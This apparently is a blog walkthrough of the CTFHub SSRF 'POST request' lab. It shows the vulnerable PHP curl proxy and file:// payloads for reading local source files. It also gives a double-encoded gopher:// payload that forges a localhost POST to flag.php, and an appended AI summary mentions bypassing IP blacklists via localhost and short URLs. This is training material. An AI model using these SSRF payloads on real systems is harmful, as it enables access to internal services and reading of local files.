CTFHub技能树 Web-SSRF POST请求

POST请求

hint:这次是发一个HTTP POST请求,对了,ssrf是用php的curl实现的,并且会跟踪302跳转,加油吧骚年。

启动环境,访问页面为空白,查看URL:

http://challenge-d01ce204edb10174.sandbox.ctfhub.com:10800/?url=_

通过 GET 传参直接拼接上127.0.0.1/flag.php,访问后得到一个输入框:
在这里插入图片描述
查看源码:

<form action="/flag.php" method="post">
	<input type="text" name="key">
	<!-- Debug: key=51457bb0a50c1eb2c92dcc3ec3c2cc13-->
</form>

得到key值,输入后:
在这里插入图片描述
提示只允许从127.0.0.1访问,尝试通过file协议读取index.php以及flag.php页面的源码,构造如下 Payload:

?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php

得到index.php页面源码如下:

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

得到flag.php页面源码如下:

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
	<input type="text" name="key">
	<!-- Debug: key=<?php echo $key;?>-->
</form>

尝试使用 Gopher 协议向服务器发送 POST 包
首先构造 Gopher协议所需的 POST请求:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=51457bb0a50c1eb2c92dcc3ec3c2cc13

:在使用 Gopher协议发送 POST请求包时,HostContent-TypeContent-Length请求头是必不可少的,但在 GET请求中可以没有。

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

所以我们需要对构造的请求包进行两次 URL编码:
将构造好的请求包进行第一次 URL编码:
在这里插入图片描述

:在第一次编码后的数据中,将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

再进行第二次 URL编码得到如下 Gopher请求内容:

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D51457bb0a50c1eb2c92dcc3ec3c2cc13

因为flag.php中的$_SERVER["REMOTE_ADDR"]无法绕过,只能通过index.php页面中的curl功能向目标发送 POST请求,构造如下Payload:

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D51457bb0a50c1eb2c92dcc3ec3c2cc13

向目标发送请求,得到 flag:
在这里插入图片描述

  • 9
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
CTFHubWeb技能树中,302跳转是一种常见的技术。根据引用\[1\],302跳转继承了HTTP 1.0中302的实现,即无论原请求是GET还是POST,都可以自动进行重定向。而根据引用\[2\],在使用curl命令进行下载时,可以通过参数-C -实现断点续传,即在下载过程中按Ctrl + C停止下载,下次可以接着上次的进度继续下载。这样可以节省时间,避免重复下载已经下载过的部分。 在某些情况下,302跳转可能会受到黑名单的限制。根据引用\[3\],黑名单可能限制了特定的网段,如127、172、10、192网段。然而,可以通过使用localhost的方式绕过这些限制。例如,将http://127.0.0.1/flag.php转换为短网址,并构造Payload发送请求,利用302跳转可以获取到flag。 总结来说,302跳转是一种常见的Web技术,可以用于重定向请求。在CTFHubWeb技能树中,了解如何使用302跳转以及如何绕过黑名单限制是很重要的。 #### 引用[.reference_title] - *1* *2* [2.CTFhub技能树 web前置技能 http协议 302跳转](https://blog.csdn.net/FFFFFFMVPhat/article/details/121342556)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFHub技能树 Web-SSRF 302跳转 Bypass](https://blog.csdn.net/weixin_44037296/article/details/118482943)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值